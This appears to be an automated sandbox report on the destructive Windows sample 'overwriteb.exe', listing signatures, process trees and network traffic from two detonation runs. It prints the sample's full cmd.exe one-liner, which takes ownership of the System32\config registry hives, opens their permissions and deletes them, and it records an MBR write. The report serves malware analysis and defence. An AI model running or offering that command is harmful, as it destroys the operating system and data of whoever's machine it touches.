Analysis Overview
SHA256
aea7dd8d80a173706820c402bbc7ff82df66ae3946a982fda9dbfd5d08c5b656
Threat Level: Likely malicious
The file overwriteb.exe was found to be: Likely malicious.
Malicious Activity Summary
Possible privilege escalation attempt
Checks computer location settings
Modifies file permissions
Writes to the Master Boot Record (MBR)
Enumerates physical storage devices
Unsigned PE
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-10 15:20
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-10 15:20
Reported
2024-08-10 15:23
Platform
win7-20240708-en
Max time kernel
117s
Max time network
118s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Writes to the Master Boot Record (MBR)
| Description | Indicator | Process | Target |
| File created | \??\PhysicalDrive0 | C:\Users\Admin\AppData\Local\Temp\overwriteb.exe | N/A |
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1864 wrote to memory of 2964 | N/A | C:\Users\Admin\AppData\Local\Temp\overwriteb.exe | C:\Windows\System32\cmd.exe |
| PID 1864 wrote to memory of 2964 | N/A | C:\Users\Admin\AppData\Local\Temp\overwriteb.exe | C:\Windows\System32\cmd.exe |
| PID 1864 wrote to memory of 2964 | N/A | C:\Users\Admin\AppData\Local\Temp\overwriteb.exe | C:\Windows\System32\cmd.exe |
| PID 2964 wrote to memory of 2436 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\takeown.exe |
| PID 2964 wrote to memory of 2436 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\takeown.exe |
| PID 2964 wrote to memory of 2436 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\takeown.exe |
| PID 2964 wrote to memory of 2300 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\icacls.exe |
| PID 2964 wrote to memory of 2300 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\icacls.exe |
| PID 2964 wrote to memory of 2300 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\icacls.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\overwriteb.exe
"C:\Users\Admin\AppData\Local\Temp\overwriteb.exe"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k takeown /f %SystemRoot%\System32\config\* > NUL && icacls %SystemRoot%\System32\config\* /grant Everyone:(F) > NUL && del /s /q %SystemRoot%\System32\config\* > NUL 2>&1 && exit
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\config\*
C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\config\* /grant Everyone:(F)
Network
Files
memory/1864-0-0x000000013F180000-0x000000013F31F000-memory.dmp
memory/1864-1-0x000000013F180000-0x000000013F31F000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-10 15:20
Reported
2024-08-10 15:21
Platform
win10v2004-20240802-en
Max time kernel
34s
Max time network
36s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\overwriteb.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Writes to the Master Boot Record (MBR)
| Description | Indicator | Process | Target |
| File created | \??\PhysicalDrive0 | C:\Users\Admin\AppData\Local\Temp\overwriteb.exe | N/A |
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3876 wrote to memory of 3532 | N/A | C:\Users\Admin\AppData\Local\Temp\overwriteb.exe | C:\Windows\System32\cmd.exe |
| PID 3876 wrote to memory of 3532 | N/A | C:\Users\Admin\AppData\Local\Temp\overwriteb.exe | C:\Windows\System32\cmd.exe |
| PID 3532 wrote to memory of 4868 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\takeown.exe |
| PID 3532 wrote to memory of 4868 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\takeown.exe |
| PID 3532 wrote to memory of 2264 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\icacls.exe |
| PID 3532 wrote to memory of 2264 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\icacls.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\overwriteb.exe
"C:\Users\Admin\AppData\Local\Temp\overwriteb.exe"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k takeown /f %SystemRoot%\System32\config\* > NUL && icacls %SystemRoot%\System32\config\* /grant Everyone:(F) > NUL && del /s /q %SystemRoot%\System32\config\* > NUL 2>&1 && exit
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\config\*
C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\config\* /grant Everyone:(F)
C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 154.239.44.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 74.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.197.79.204.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.35.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.150.49.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 86.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 147.142.123.92.in-addr.arpa | udp |
Files
memory/3876-0-0x00007FF699B20000-0x00007FF699CBF000-memory.dmp
memory/3876-1-0x00007FF699B20000-0x00007FF699CBF000-memory.dmp